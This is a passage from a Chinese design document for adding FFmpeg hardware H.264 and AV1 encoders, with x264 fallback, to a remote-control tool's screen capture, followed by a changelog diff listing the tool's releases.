└─ h264_nvenc/qsv/amf/mf 能开?──┐
│ │
成功 → 用 H.264 硬编 │
x264 软编(始终可用)
```
### 2.2 编码器后端表
| 类型 | FFmpeg 编码器名 | 硬件要求 | 备注 |
|---|---|---|---|
| AV1 硬编 | `av1_nvenc` | NVIDIA RTX 40+Ada Lovelace | 2022 Q4 起 |
| AV1 硬编 | `av1_amf` | AMD RX 7000+RDNA 3 | 2022 Q4 起 |
| AV1 硬编 | `av1_qsv` | Intel Arc / 部分新 Iris Xe | 2022 起 |
| H.264 硬编 | `h264_nvenc` | 几乎所有 NVIDIA GPUGTX 650+ | 2012 起 |
| H.264 硬编 | `h264_qsv` | 几乎所有 Intel 核显HD 4000+ | 2012 起 |
| H.264 硬编 | `h264_amf` | 几乎所有 AMD GPU | |
| H.264 硬编 | `h264_mf` | Windows Media Foundation | 兜底,质量/稳定性一般 |
| H.264 软编 | `libx264`(现有 `CX264Encoder` | 任意 CPU | 始终兜底 |
**不使用 `libx265` / `libaom-av1` / `libsvtav1`**CPU 软编),原因:
- 远控产品对 CPU 占用敏感AV1/HEVC 软编实时编码压力大
- `libx265` 会让 FFmpeg 切到 GPL`libaom-av1` 编码速度也不够
### 2.3 类结构
```
VideoEncoderBase新增抽象接口
├── CX264Encoder (改造现有类继承接口,保留软编兜底)
├── CFFmpegH264Encoder (新增,封装 h264_nvenc/qsv/amf/mf
└── CFFmpegAV1Encoder (新增,封装 av1_nvenc/qsv/amf
```
### 2.4 协商流程
```
握手阶段:
- 客户端(浏览器)在 WebSocket 握手时上报能力:
{ "codecs": ["av1", "h264"] } // 浏览器实际能解的,按优先级排
- 服务端取「客户端能力 ∩ 自己硬件能力」选 codec
会话阶段:
- 选定 codec 后创建对应编码器,整个连接生命周期不变
- 运行中不切换 codec保持简单需要切换就重连
```
---
## 3. 硬编 vs 现有 x264 软编对比
### 3.1 CPU 占用(最大收益)
| 编码器 | 1080p @ 30fps CPU 占用 |
|---|---|
| x264 `ultrafast`(现状) | 单核 1530% |
| x264 `medium`(同画质基准) | 单核 60100% |
| `h264_nvenc p4` | 总 **13%** |
| `h264_qsv medium` | 总 25% |
| `h264_amf balanced` | 总 25% |
被控端是用户的主力工作机他自己还在干活。CPU 让出来意味着远控对他几乎不可感。
### 3.2 同 CPU 预算下画质更高
x264 的 preset 排序(同码率下画质):
```
ultrafast < superfast < veryfast < faster < fast < medium < slow ...
↑ 现状 ↑ 标准基准
```
NVENC `p4` 预设大致对应 x264 `fast` ~ `medium`**画质明显优于当前 ultrafast且 CPU 占用低一个数量级**。
### 3.3 其他收益
- **编码延迟稳定**ASIC 不受 CPU 调度影响,单帧 15 ms
- **笔记本电池/温度**ASIC 几瓦,键盘不烫、风扇不转
- **可拉高分辨率/帧率**4K@30 / 多屏拼接软编扛不住,硬编轻松
### 3.4 代价(必须接受)
- **二进制 +610 MB**FFmpeg 静态库,可接受)
- **编译复杂度上升**vcpkg 或自编 FFmpeg
- **不同后端参数语义有差异**rc 模式、preset 名字、bitrate 表现都不一样
- **必须保留 x264 软编兜底**:无 GPU / 远程桌面 / 虚拟机 / NVENC session 满 等场景
---
## 4. 现有 H.264 编码器现状
`CX264Encoder` 签名(`client/X264Encoder.cpp`
```cpp
class CX264Encoder
{
private:
x264_t* m_pCodec;
x264_picture_t* m_pPicIn;
x264_picture_t* m_pPicOut;
x264_param_t m_Param;
public:
bool open(int width, int height, int fps, int crf);
bool open(x264_param_t* param);
void close();
int encode(uint8_t* rgb, uint8_t bpp, uint32_t stride,
uint32_t width, uint32_t height,
uint8_t** lppData, uint32_t* lpSize,
int direction = 1);
};
```
集成点(`client/ScreenCapture.h`
| 位置 | 内容 |
|---|---|
| `L148` | `CX264Encoder* m_encoder;`(持有具体类,需改为接口) |
| `L926-930` | 关键帧路径硬编码 `new CX264Encoder()` |
| `L956-960` | 增量帧路径硬编码 `new CX264Encoder()` |
| `L170-176` | `BitRateToCRF(bitRate)` 码率→CRF 映射 |
参数现状:
- `param.i_threads = 1`
- `preset = "ultrafast", tune = "zerolatency"`
- `i_keyint_max = fps * 15`15 秒一个 IDR
- `i_bframe = 0``b_open_gop = 0`
- `rc.i_rc_method = X264_RC_CRF`CRF 模式,未设 VBV
需要的改造(详见 §6
1. `ScreenCapture::m_encoder``std::unique_ptr<VideoEncoderBase>`
2. 编码器创建走 `CreateEncoder` 工厂
3. 接口的 quality 语义解耦CRF vs kbps详见 §6.2
---
## 5. FFmpeg 静态库准备
### 5.1 推荐方案vcpkg
VS2019 + vcpkg 是最稳的路径:
```
vcpkg install ffmpeg[core,nvcodec,amf,qsv]:x64-windows-static-md
```
要点:
- **三元组选 `x64-windows-static-md`**:链接静态 FFmpeg 但用动态 CRT`/MD`),与本项目当前工程一致
- 如果工程是 `/MT` 改用 `x64-windows-static`
- `nvcodec` feature 引入 NVENC 头文件,`amf` 引入 AMF`qsv` 引入 libmfx
- 阶段一只需要 H.264,可以先不带这些 feature但建议一次到位
阶段二需要 AV1FFmpeg 较新版本默认已支持 `av1_nvenc` / `av1_amf` / `av1_qsv`,无需额外 feature 名。
### 5.2 备选方案:自编
MSYS2 + MinGW-w64 + `--toolchain=msvc` 产出 MSVC 兼容 `.lib`
```bash
./configure \
--prefix=/path/to/install \
--arch=x86_64 \
--target-os=mingw64 \
--toolchain=msvc \
--disable-shared --enable-static \
--disable-everything \
--disable-autodetect \
--disable-network \
--disable-doc \
--disable-programs \
--disable-debug \
--enable-small \
--enable-encoder=h264_nvenc \
--enable-encoder=h264_amf \
--enable-encoder=h264_qsv \
--enable-encoder=h264_mf \
--enable-encoder=av1_nvenc \
--enable-encoder=av1_amf \
--enable-encoder=av1_qsv \
--enable-protocol=file
```
**不要** `--enable-gpl``--enable-libx265 / --enable-libaom`,保持 LGPL 且避免软编 H.265/AV1。
### 5.3 工程链接配置MSVC
**附加包含目录**C/C++ → 常规):
```
$(VcpkgRoot)\installed\x64-windows-static-md\include
```
**附加库目录**(链接器 → 常规):
```
$(VcpkgRoot)\installed\x64-windows-static-md\lib
```
**附加依赖项**(链接器 → 输入):
```
avcodec.lib
avutil.lib
swresample.lib
# FFmpeg 静态链接依赖的 Windows 系统库
mfplat.lib
mfuuid.lib
strmiids.lib
ws2_32.lib
secur32.lib
bcrypt.lib
```
**预处理器定义**
```
ENABLE_HW_ENCODER
__STDC_CONSTANT_MACROS # FFmpeg C 头文件在 C++ 中需要
```
---
## 6. 实现任务清单
### 6.1 文件清单
| 文件 | 操作 | 说明 |
|---|---|---|
| `VideoEncoderBase.h` | 新增 | 抽象基类 + EncoderParams |
| `X264Encoder.h/.cpp` | 修改 | 继承 `VideoEncoderBase`,新增 `forceIDR()` / `codec()` / `backendName()` |
| `CFFmpegH264Encoder.h/.cpp` | 新增(阶段一) | 封装 `h264_nvenc/qsv/amf/mf` |
| `CFFmpegAV1Encoder.h/.cpp` | 新增(阶段二) | 封装 `av1_nvenc/qsv/amf` |
| `EncoderFactory.h/.cpp` | 新增 | 工厂 + 多后端探测 |
| `EncoderProbe.h/.cpp` | 新增 | 启动时一次性探测可用后端,缓存结果 |
| `ScreenCapture.h` | 修改 | `m_encoder``std::unique_ptr<VideoEncoderBase>` |
| 握手协议代码 | 修改(阶段二) | 加 `codecs` 能力字段 |
| 工程配置 | 修改 | FFmpeg 静态库链接(详见 §5.3 |
### 6.2 抽象接口定义
`VideoEncoderBase.h`
```cpp
#pragma once
#include <cstdint>
enum class VideoCodec { H264, AV1 };
enum class RateControl { CRF, BITRATE };
struct EncoderParams {
int width;
int height;
int fps;
RateControl rc = RateControl::BITRATE;
int crf = 23; // 当 rc == CRF 时使用x264 路径)
int bitrate_kbps = 4000; // 当 rc == BITRATE 时使用(硬编路径)
int gop_seconds = 4; // 关键帧间隔(秒),编码器内部转 frames
};
class VideoEncoderBase {
public:
virtual ~VideoEncoderBase() = default;
virtual bool open(const EncoderParams& params) = 0;
virtual void close() = 0;
virtual int encode(
uint8_t* rgb,
uint8_t bpp,
uint32_t stride,
uint32_t width,
uint32_t height,
uint8_t** lppData,
uint32_t* lpSize,
int direction = 1
) = 0;
virtual void forceIDR() = 0;
virtual void setBitrate(int kbps) {} // 默认空实现
virtual VideoCodec codec() const = 0;
virtual const char* backendName() const = 0; // "x264" / "h264_nvenc" / "av1_amf" ...
};
```
设计要点:
- **抛弃** `open(w, h, fps, quality)` 的设计 —— `quality` 在 H.264 是 CRF、在硬编是 kbps语义不清楚是坑
- 改用 `EncoderParams` 结构体 + `RateControl` 枚举,明确指定速率控制模式
- `backendName()` 返回实际后端名("x264" / "h264_nvenc" / "av1_amf"),调用方可用于日志/监控
### 6.3 CFFmpegH264Encoder 设计
```cpp
#pragma once
#include "VideoEncoderBase.h"
#include <vector>
#include <string>
extern "C" {
#include <libavcodec/avcodec.h>
#include <libavutil/opt.h>
#include <libavutil/imgutils.h>
}
class CFFmpegH264Encoder : public VideoEncoderBase {
public:
CFFmpegH264Encoder();
~CFFmpegH264Encoder() override;
bool open(const EncoderParams& params) override;
void close() override;
int encode(uint8_t* rgb, uint8_t bpp, uint32_t stride,
uint32_t width, uint32_t height,
uint8_t** lppData, uint32_t* lpSize,
int direction = 1) override;
void forceIDR() override;
void setBitrate(int kbps) override;
VideoCodec codec() const override { return VideoCodec::H264; }
const char* backendName() const override { return m_backend.c_str(); }
private:
bool tryOpenBackend(const char* name, const EncoderParams& p);
void cleanupCodec();
int convertToNV12(uint8_t* rgb, uint8_t bpp, uint32_t stride,
uint32_t width, uint32_t height, int direction);
AVCodecContext* m_ctx = nullptr;
AVFrame* m_frame = nullptr;
AVPacket* m_packet = nullptr;
std::vector<uint8_t> m_outputBuffer;
std::vector<uint8_t> m_i420Scratch; // RGB24 路径用
int64_t m_pts = 0;
bool m_forceIDR = false;
std::string m_backend;
};
```
#### 6.3.1 后端探测顺序
```cpp
static const char* kH264Backends[] = {
"h264_nvenc", // NVIDIA质量/速度/稳定性都最好
"h264_qsv", // Intel核显普及度高
"h264_amf", // AMD
"h264_mf", // Media Foundation 兜底(可选,质量一般)
};
bool CFFmpegH264Encoder::open(const EncoderParams& p) {
for (auto name : kH264Backends) {
if (tryOpenBackend(name, p)) {
m_backend = name;
return true;
}
cleanupCodec();
}
return false;
}
```
#### 6.3.2 各后端参数差异
```cpp
bool CFFmpegH264Encoder::tryOpenBackend(const char* name, const EncoderParams& p) {
const AVCodec* codec = avcodec_find_encoder_by_name(name);
if (!codec) return false;
m_ctx = avcodec_alloc_context3(codec);
if (!m_ctx) return false;
// 通用参数
m_ctx->width = p.width;
m_ctx->height = p.height;
m_ctx->time_base = {1, p.fps};
m_ctx->framerate = {p.fps, 1};
m_ctx->pix_fmt = AV_PIX_FMT_NV12;
m_ctx->gop_size = p.fps * p.gop_seconds;
m_ctx->max_b_frames = 0;
m_ctx->bit_rate = (int64_t)p.bitrate_kbps * 1000;
m_ctx->rc_max_rate = (int64_t)p.bitrate_kbps * 1500;
m_ctx->rc_buffer_size = (int)(p.bitrate_kbps * 1000);
if (strcmp(name, "h264_nvenc") == 0) {
av_opt_set(m_ctx->priv_data, "preset", "p4", 0);
av_opt_set(m_ctx->priv_data, "tune", "ll", 0);
av_opt_set(m_ctx->priv_data, "rc", "cbr", 0);
av_opt_set(m_ctx->priv_data, "zerolatency", "1", 0);
av_opt_set(m_ctx->priv_data, "delay", "0", 0);
} else if (strcmp(name, "h264_qsv") == 0) {
av_opt_set(m_ctx->priv_data, "preset", "medium", 0);
av_opt_set_int(m_ctx->priv_data, "async_depth", 1, 0);
av_opt_set_int(m_ctx->priv_data, "low_power", 0, 0);
} else if (strcmp(name, "h264_amf") == 0) {
av_opt_set(m_ctx->priv_data, "usage", "lowlatency", 0);
av_opt_set(m_ctx->priv_data, "quality", "balanced", 0);
av_opt_set(m_ctx->priv_data, "rc", "cbr", 0);
} else if (strcmp(name, "h264_mf") == 0) {
av_opt_set_int(m_ctx->priv_data, "hw_encoding", 1, 0);
av_opt_set(m_ctx->priv_data, "rate_control", "cbr", 0);
}
if (avcodec_open2(m_ctx, codec, nullptr) < 0) return false;
m_frame = av_frame_alloc();
m_frame->format = AV_PIX_FMT_NV12;
m_frame->width = p.width;
m_frame->height = p.height;
if (av_frame_get_buffer(m_frame, 32) < 0) return false;
m_packet = av_packet_alloc();
return m_packet != nullptr;
}
```
#### 6.3.3 encode 实现
```cpp
int CFFmpegH264Encoder::encode(
uint8_t* rgb, uint8_t bpp, uint32_t stride,
uint32_t width, uint32_t height,
uint8_t** lppData, uint32_t* lpSize, int direction)
{
if (av_frame_make_writable(m_frame) < 0) return -1;
// 像素格式转换(直接用 libyuv与现有 x264 路径保持一致,不引入 sws_scale
int signed_height = direction * (int)height;
if (bpp == 32) {
libyuv::ARGBToNV12(
rgb, stride,
m_frame->data[0], m_frame->linesize[0],
m_frame->data[1], m_frame->linesize[1],
width, signed_height
);
} else if (bpp == 24) {
if (convertToNV12(rgb, bpp, stride, width, height, direction) != 0)
return -1;
} else {
return -2;
}
m_frame->pts = m_pts++;
if (m_forceIDR) {
m_frame->pict_type = AV_PICTURE_TYPE_I;
m_frame->key_frame = 1;
m_forceIDR = false;
} else {
m_frame->pict_type = AV_PICTURE_TYPE_NONE;
m_frame->key_frame = 0;
}
if (avcodec_send_frame(m_ctx, m_frame) < 0) return -3;
int ret = avcodec_receive_packet(m_ctx, m_packet);
if (ret == AVERROR(EAGAIN)) {
// 首帧延迟正常情况:返回成功但本次无输出
*lpSize = 0;
*lppData = nullptr;
return 0;
}
if (ret < 0) return -4;
m_outputBuffer.assign(m_packet->data, m_packet->data + m_packet->size);
*lppData = m_outputBuffer.data();
*lpSize = (uint32_t)m_outputBuffer.size();
av_packet_unref(m_packet);
return 0;
}
```
#### 6.3.4 RGB24 → NV12libyuv 无直接 API两步走
```cpp
int CFFmpegH264Encoder::convertToNV12(uint8_t* rgb, uint8_t /*bpp*/,
uint32_t stride, uint32_t width, uint32_t height,
int direction)
{
int signed_height = direction * (int)height;
int y_size = width * height;
int uv_size = (width / 2) * (height / 2);
m_i420Scratch.resize(y_size + 2 * uv_size);
uint8_t* y = m_i420Scratch.data();
uint8_t* u = y + y_size;
uint8_t* v = u + uv_size;
libyuv::RGB24ToI420(
rgb, stride,
y, width,
u, width / 2,
v, width / 2,
width, signed_height
);
libyuv::I420ToNV12(
y, width,
u, width / 2,
v, width / 2,
m_frame->data[0], m_frame->linesize[0],
m_frame->data[1], m_frame->linesize[1],
width, height
);
return 0;
}
```
### 6.4 CFFmpegAV1Encoder 设计
结构与 `CFFmpegH264Encoder` **完全对称**,仅 backend 名换:
```cpp
static const char* kAV1Backends[] = {
"av1_nvenc", // RTX 40+
"av1_amf", // RX 7000+
"av1_qsv", // Intel Arc / 部分 11 代+ 核显
};
```
参数差异av1_nvenc 与 h264_nvenc 略有不同):
```cpp
if (strcmp(name, "av1_nvenc") == 0) {
av_opt_set(m_ctx->priv_data, "preset", "p4", 0);
av_opt_set(m_ctx->priv_data, "tune", "ll", 0);
av_opt_set(m_ctx->priv_data, "rc", "cbr", 0);
// AV1 特有tile-columns/rows 可调,多核解码更友好
av_opt_set_int(m_ctx->priv_data, "tile-columns", 1, 0);
} else if (strcmp(name, "av1_amf") == 0) {
av_opt_set(m_ctx->priv_data, "usage", "lowlatency", 0);
av_opt_set(m_ctx->priv_data, "quality", "balanced", 0);
av_opt_set(m_ctx->priv_data, "rc", "cbr", 0);
} else if (strcmp(name, "av1_qsv") == 0) {
av_opt_set(m_ctx->priv_data, "preset", "medium", 0);
av_opt_set_int(m_ctx->priv_data, "async_depth", 1, 0);
}
```
实现建议:先把 `CFFmpegH264Encoder` 跑通稳定,**再把它复制改名做 AV1 版本**。同步两个类的逻辑可以后续考虑抽公共基类,但不要为了 DRY 提前抽。
### 6.5 EncoderFactory 与探测
`EncoderFactory.h`
```cpp
#pragma once
#include "VideoEncoderBase.h"
#include <memory>
struct ClientCapability {
bool supportAV1 = false;
bool supportH264 = true; // 假定都支持
};
struct EncoderRequest {
int width, height, fps;
int bitrate_kbps;
ClientCapability client;
};
std::unique_ptr<VideoEncoderBase> CreateEncoder(const EncoderRequest& req);
```
`EncoderFactory.cpp`
```cpp
#include "EncoderFactory.h"
#include "EncoderProbe.h"
#include "CFFmpegAV1Encoder.h"
#include "CFFmpegH264Encoder.h"
#include "X264Encoder.h"
std::unique_ptr<VideoEncoderBase> CreateEncoder(const EncoderRequest& req) {
EncoderParams p;
p.width = req.width;
p.height = req.height;
p.fps = req.fps;
// 1. AV1 路径(仅当客户端支持且启动探测确认硬件可用)
if (req.client.supportAV1 && EncoderProbe::HasAV1Hw()) {
auto enc = std::make_unique<CFFmpegAV1Encoder>();
p.rc = RateControl::BITRATE;
p.bitrate_kbps = req.bitrate_kbps;
if (enc->open(p)) {
LOG_INFO("encoder: AV1 backend=%s", enc->backendName());
return enc;
}
LOG_WARN("encoder: AV1 open failed, falling back to H.264");
}
// 2. H.264 硬编路径
if (EncoderProbe::HasH264Hw()) {
auto enc = std::make_unique<CFFmpegH264Encoder>();
p.rc = RateControl::BITRATE;
p.bitrate_kbps = req.bitrate_kbps;
if (enc->open(p)) {
LOG_INFO("encoder: H264-HW backend=%s", enc->backendName());
return enc;
}
LOG_WARN("encoder: H264 HW open failed, falling back to x264");
}
// 3. H.264 软编兜底(始终可用)
{
auto enc = std::make_unique<CX264Encoder>();
p.rc = RateControl::CRF;
p.crf = BitRateToCRF(req.bitrate_kbps);
if (enc->open(p)) {
LOG_INFO("encoder: H264-SW (libx264)");
return enc;
}
}
LOG_ERROR("encoder: all backends failed");
return nullptr;
}
```
要点:
- **不要**引入会话池(`HEVCSessionPool` 那套)—— 个人项目场景下不需要
- NVENC session 限制由 FFmpeg 自己报错,工厂捕获后自动降级
- 失败路径都打日志,方便定位
### 6.6 启动时一次性后端探测
避免每个新连接都重复尝试每个 backend
```cpp
// EncoderProbe.h
class EncoderProbe {
public:
static void RunOnce(); // 程序启动时调用一次
static bool HasAV1Hw();
static bool HasH264Hw();
static const char* PreferredAV1Backend(); // 第一个能用的 AV1 后端名
static const char* PreferredH264Backend();
};
// EncoderProbe.cpp 实现思路:
// 对每个候选后端尝试 alloc_context → open2 → free
// 用最低分辨率(如 640x480 @30fps减少探测开销
// 结果缓存在静态变量,加 std::once_flag 保证线程安全
```
启动时探测 1 次,运行时 `CreateEncoder` 直接读结果。
### 6.7 ScreenCapture.h 改造
**当前**`client/ScreenCapture.h:148, 926-930, 956-960`
```cpp
CX264Encoder* m_encoder;
// ...
m_encoder = new CX264Encoder();
int br = (m_nBitRate > 0) ? m_nBitRate : (width * height / 1266);
m_encoder->open(width, height, 20, BitRateToCRF(br));
```
**改造后**
```cpp
std::unique_ptr<VideoEncoderBase> m_encoder;
ClientCapability m_clientCap; // 握手阶段填入
// ...
if (!m_encoder) {
EncoderRequest req{
(int)width, (int)height, 20,
m_nBitRate > 0 ? m_nBitRate : (int)(width * height / 1266),
m_clientCap
};
m_encoder = CreateEncoder(req);
if (!m_encoder) return nullptr;
}
int err = m_encoder->encode(nextData, 32, 4 * width, width, height,
&encoded_data, &encoded_size);
```
注意:两处 `new CX264Encoder()` 提取成一个 `ensureEncoder()` 私有方法,避免重复。
### 6.8 协议握手(阶段二)
客户端浏览器 WebSocket 连接时上报:
```json
{
"type": "client_capability",
"codecs": ["av1", "h264"]
}
```
浏览器端探测脚本JS
```javascript
async function probeBrowserCodecs() {
const codecs = [];
if (typeof VideoDecoder !== 'undefined') {
// AV1 Main Profile, Level 4.0, 8-bit
const av1 = await VideoDecoder.isConfigSupported({ codec: 'av01.0.04M.08' });
if (av1.supported) codecs.push('av1');
}
codecs.push('h264'); // 兜底假定支持,<video> 标签也支持
return codecs;
}
```
**向后兼容**:老版本客户端不发 `codecs` 字段 → 服务端按 H.264 处理。`ClientCapability::supportAV1` 默认 false。
可参考 `docs/hevc_browser_decode_test.html`(改造一份 AV1 版本)做浏览器解码端到端验证。
---
## 7. 像素格式与转换
保持与现有 x264 路径完全一致的做法:
- **硬编内部格式**`AV_PIX_FMT_NV12`NVENC/QSV/AMF 通用)
- **转换库**libyuv不引入 `sws_scale`
- **BGRA → NV12**`libyuv::ARGBToNV12` 直接
- **RGB24 → NV12**libyuv 无直接 API分两步 RGB24 → I420 → NV12
- **direction 参数**:沿用现有 `X264Encoder.cpp:136` 的写法(`direction * height` 作为乘子)
---
## 8. 测试要求
### 8.1 单元测试
- `VideoEncoderBase` 各实现的 `open / encode / close` 生命周期
- `CFFmpegH264Encoder` 在缺失各后端时降级到下一个
- `EncoderFactory` 在不同 `ClientCapability` × 硬件能力 矩阵下返回正确后端
- `EncoderProbe::RunOnce()` 在不同 GPU 上的结果一致性
### 8.2 集成测试
| 场景 | 期望 |
|---|---|
| 客户端支持 AV1 + 编码端 RTX 40 | 使用 AV1`av1_nvenc` |
| 客户端支持 AV1 + 编码端 GTX 1080 | 降级 H.264 硬编(`h264_nvenc` |
| 客户端不支持 AV1 + 编码端任意 | H.264(硬编优先) |
| 编码端无 GPU / 虚拟机 | x264 软编 |
| 编码端集显 + 独显 | 优先级中第一个成功的后端 |
| 中途客户端能力变化 | 当前连接不变;下次握手按新能力 |
| H264 硬编创建失败 | 自动回落 x264 软编,连接不断 |
### 8.3 硬件验证矩阵
| 编码端 | 客户端浏览器 | 期望 |
|---|---|---|
| RTX 40 / 50 | Chrome / Firefox / Edge | AV1 |
| GTX 10/16 / RTX 20/30 | Chrome / Firefox / Edge | H.264 NVENC |
| Intel Arc | Chrome / Firefox | AV1`av1_qsv` |
| Intel 12 代+ 核显 | Chrome / Firefox | H.264 QSV |
| AMD RX 7000+ | Chrome / Firefox | AV1`av1_amf` |
| AMD 老卡 | Chrome / Firefox | H.264 AMF |
| 虚拟机 / 远程桌面会话 | 任意 | x264 软编 |
| iOS Safari < 17 | 任意编码端 | H.264 |
| iOS Safari ≥ 17A17 Pro+ | 任意编码端 | AV1 优先 |
### 8.4 体积验证
- exe 体积增量 < 12 MBvcpkg 静态链接,含 AV1+H264 全后端)
- 若超出明显,检查 vcpkg feature 是否引入了不需要的 codec
### 8.5 回归测试(关键)
每一步改造后必须验证:
- 现有 x264 软编通路完全可用(在禁用所有硬编后端的环境下)
- 现有客户端(不发 `codecs` 字段)可正常工作
- 编码码流向后兼容,老客户端能解
---
## 9. 已知风险与注意事项
### 9.1 多 GPU 跨适配器
笔记本集显+独显场景FFmpeg 默认走主显卡。可能报 "failed to create device"。**Catch 后回落到下一个后端**,不要直接终止。
### 9.2 第一帧延迟
FFmpeg 硬编可能在首次 `send_frame``receive_packet` 返回 `EAGAIN`。调用方代码必须能处理 `*lpSize == 0` 的情况(返回 0 表示成功但本次无输出)。`ScreenCapture::GetNextScreenData` 当前 `encoded_size == 0` 会怎么处理需要确认。
### 9.3 NVENC session 数限制
NVIDIA **消费级**卡GeForce有 NVENC session 上限(驱动 522.25+ 起 3 个,更新版可能放宽到 5。多连接超限时 `open` 失败 → 工厂自动降级到 QSV/AMF/x264。**不要做"会话池"提前拦截** —— 让 FFmpeg 自己报错,工厂处理。
### 9.4 浏览器解 AV1 的硬件依赖
- 桌面 Chrome/Firefox/Edge软解兜底CPU 占用高,但能用)
- 移动端iPhone 15 Pro+ / M3+ 才有 AV1 硬解,老设备只能软解(可能卡)
- `isConfigSupported` 报 true 不等于跑得流畅。**建议握手时也带上设备类型**,弱设备强制走 H.264
### 9.5 LGPL 静态链接合规
个人项目暂搁置。商用前需法务确认FFmpeg 源代码提供、重新链接能力等)。
### 9.6 配置项(建议)
建议做成 INI/JSON
```
encoder.prefer_av1 = true
encoder.h264.bitrate_default = 4000 (kbps)
encoder.fallback_to_x264 = true
encoder.probe_at_startup = true
encoder.disable_h264_mf = true (h264_mf 质量一般,可禁用)
```
### 9.7 日志要求
关键路径必须有日志:
- 启动探测结果:每个后端是否可用 + 失败原因(`av_err2str`
- 每个连接选定的 `codec` + `backend`INFO
- 后端打开失败 + 回落WARN
- 编码过程中的异常ERROR
### 9.8 线程安全
- 每个编码器实例不跨线程
- `EncoderProbe` 单例首次初始化加 `std::once_flag`
- FFmpeg 新版本不需要全局初始化(`av_register_all` 已废弃)
### 9.9 与现有 `DISABLE_X264_FOR_TEST` 编译开关协同
项目已有 `DISABLE_X264_FOR_TEST` 宏(见 `X264Encoder.cpp:5`)和最近 `c0a632a` 提交"Compliance: Add building option to disable x264 and ffmpeg"。新代码须遵循同样的可禁用约定:
- `ENABLE_HW_ENCODER` 关闭时整个 `CFFmpegH264Encoder` / `CFFmpegAV1Encoder` 编译为空实现或不参与链接
- 工厂在该宏关闭时直接返回 `CX264Encoder`
---
## 10. 实现顺序建议
**每一步独立可合入**,每一步完成后 x264 通路必须可用、客户端无感知。
### Step 0抽象层零功能改动
1. 新建 `VideoEncoderBase.h`,定义接口 + `EncoderParams` + `RateControl`
2. `CX264Encoder` 改造继承 `VideoEncoderBase`
- 新增 `forceIDR()`(设置一个标志,下次 encode 时通过 `x264_picture_t::i_type = X264_TYPE_IDR`
- 实现 `codec()` 返回 `H264`
- 实现 `backendName()` 返回 `"x264"`
-`open(w, h, fps, crf)` 签名保留,转调新的 `open(EncoderParams)`
3. `ScreenCapture::m_encoder``std::unique_ptr<VideoEncoderBase>`,但仍直接 `new CX264Encoder`
4. **不引 FFmpeg、不引工厂**
5. 验证H.264 通路完全不变,对外行为零变化
### Step 1FFmpeg 集成 + `h264_nvenc` 单后端
1. vcpkg 安装 `ffmpeg[core,nvcodec]:x64-windows-static-md`
2. 工程添加包含目录 / 库目录 / 系统库
3. 新建 `CFFmpegH264Encoder`,仅实现 `h264_nvenc`
4.`ScreenCapture` 加临时开关:硬编码切到 `CFFmpegH264Encoder` 跑一下
5. 用浏览器解码 demo 验证码流能解
6. 体积验证(应 +46 MB
### Step 2扩展 H.264 硬编后端
1. `CFFmpegH264Encoder``h264_qsv` / `h264_amf` 探测
2. 顺序:`nvenc → qsv → amf``mf` 可暂不接)
3. 不同后端的参数适配(见 §6.3.2
4. 测试 Intel 核显 + AMD 卡
### Step 3工厂 + 软编兜底
1. 新建 `EncoderFactory` / `EncoderProbe`
2. 工厂按 `H264 硬编 → x264 软编` 顺序
3. `ScreenCapture` 改用工厂(消除两处 `new CX264Encoder`
4. 测试无 GPU 环境降级到 x264
### Step 4AV1 路径(独立闭环)
1. 重跑 vcpkg`ffmpeg[core,nvcodec,amf,qsv]:x64-windows-static-md`
2. 新建 `CFFmpegAV1Encoder`,结构与 H.264 对称(直接 copy + 改 backend 名 + 调参)
3. `EncoderProbe` 加 AV1 探测
4. 工厂前置 AV1 路径
5. 硬件验证矩阵执行
### Step 5握手协商 + 浏览器探测
1. 客户端 JS `isConfigSupported` 探测 AV1 / H.264
2. WebSocket 握手字段 `codecs` 上报
3. 服务端解析后填入 `ClientCapability`
4. 老客户端向后兼容(无 `codecs` 字段 → 默认 H.264
5. 端到端验证:编码端 RTX 40 + 浏览器 Chrome 走 AV1回落场景走 H.264
---
## 11. 不在本次范围
- HEVC 编码(决策已排除,见 §1.3.1
- 软编 AV1libaom / SVT-AV1CPU 占用不适合远控)
- 运行中动态切换 codec需要切换就重连
- 转发流1 路编码多路分发)
- 桌面捕获共享
- 客户端浏览器解码具体实现(可参考 `docs/hevc_browser_decode_test.html` 改 AV1 版本验证)
- Linux/macOS 移植
- FFmpeg DLL 形式分发
---
## 12. 参考资料
- FFmpeg 编码器列表:`ffmpeg -encoders | grep -E "h264|av1"`
- NVENC 参数:`ffmpeg -h encoder=h264_nvenc``ffmpeg -h encoder=av1_nvenc`
- QSV 参数:`ffmpeg -h encoder=h264_qsv``ffmpeg -h encoder=av1_qsv`
- AMF 参数:`ffmpeg -h encoder=h264_amf``ffmpeg -h encoder=av1_amf`
- NVIDIA Video Codec Support Matrixhttps://developer.nvidia.com/video-encode-and-decode-gpu-support-matrix-new
- WebCodecs APIhttps://developer.mozilla.org/en-US/docs/Web/API/WebCodecs_API
- libyuvhttps://chromium.googlesource.com/libyuv/libyuv/
- vcpkg ffmpeg porthttps://github.com/microsoft/vcpkg/tree/master/ports/ffmpeg
- FFmpeg HWAccel Introhttps://trac.ffmpeg.org/wiki/HWAccelIntro
- AOMedia AV1https://aomedia.org/
---
**文档结束**
实现时如遇到本文档未覆盖的设计抉择,优先选择**简单、与现有 x264 通路对称、不破坏已有功能、不增加运行时外部依赖**的方案,并在代码注释中说明决策依据。

View File

@@ -651,6 +651,68 @@ Release v1.1.4
* 修复: 屏幕缩放时远程控制坐标不正确
* 修复: CShellDlg::OnCtlColor 中的 GDI 画刷泄漏
**2026.02.28**
发布版本 v1.2.7
本版本引入支持 C2C 的 V2 文件传输协议,集成现代 Web 终端,并扩展 Linux 客户端能力。
* 功能: V2 文件传输协议,支持大于 4GB 的文件
* 功能: C2C客户端到客户端直接传输无需经过主控中转
* 功能: 断点续传,状态持久化到 `%TEMP%\FileTransfer\`
* 功能: SHA-256 文件完整性校验
* 功能: 基于 WebView2 + xterm.js 的现代 Web 终端
* 功能: Linux 客户端新增文件管理支持
* 改进: 主机列表批量更新,减少 UI 闪烁
* 改进: V1/V2 协议共存与自动识别
* 改进: 77 字节 V2 包头预留扩展字段
* 修复: 文件对话框释放阶段的若干稳定性问题
**2026.03.11**
发布版本 v1.2.8
本版本新增主机上线邮件通知、远程音频播放、V2 授权协议,并改进多 FRPS 支持。
* 功能: 主机上线邮件通知SMTP 配置、关键词匹配、右键快捷添加)
* 功能: 远程音频播放WASAPI Loopback+ Opus 压缩(约 24:1
* 功能: 多 FRPS 服务器同时连接支持
* 功能: 自定义光标显示和追踪
* 功能: V2 授权协议,采用 ECDSA 签名
* 改进: Linux 客户端屏幕压缩算法调优
* 改进: 非中文 Windows 主机的编码强化
